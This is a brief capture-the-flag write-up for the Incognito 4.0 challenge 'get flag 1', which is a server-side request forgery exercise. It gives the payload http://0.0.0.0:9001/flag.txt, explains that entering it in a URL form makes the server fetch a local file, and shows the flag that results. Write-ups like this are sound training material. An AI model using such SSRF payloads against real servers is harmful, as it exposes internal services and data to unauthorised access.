[Incognito 4.0] get flag 1

This CTF challenge is a simple SSRF challenge

When you access the challenge, there is a URL form where you can input a URL.

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Payload

http://0.0.0.0:9001/flag.txt

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Exploit

By entering "http://0.0.0.0:9001/flag.txt" into the URL form, you can trigger an SSRF vulnerability.

FLAG : ictf{l0c4l_byp4$$_323theu0a9}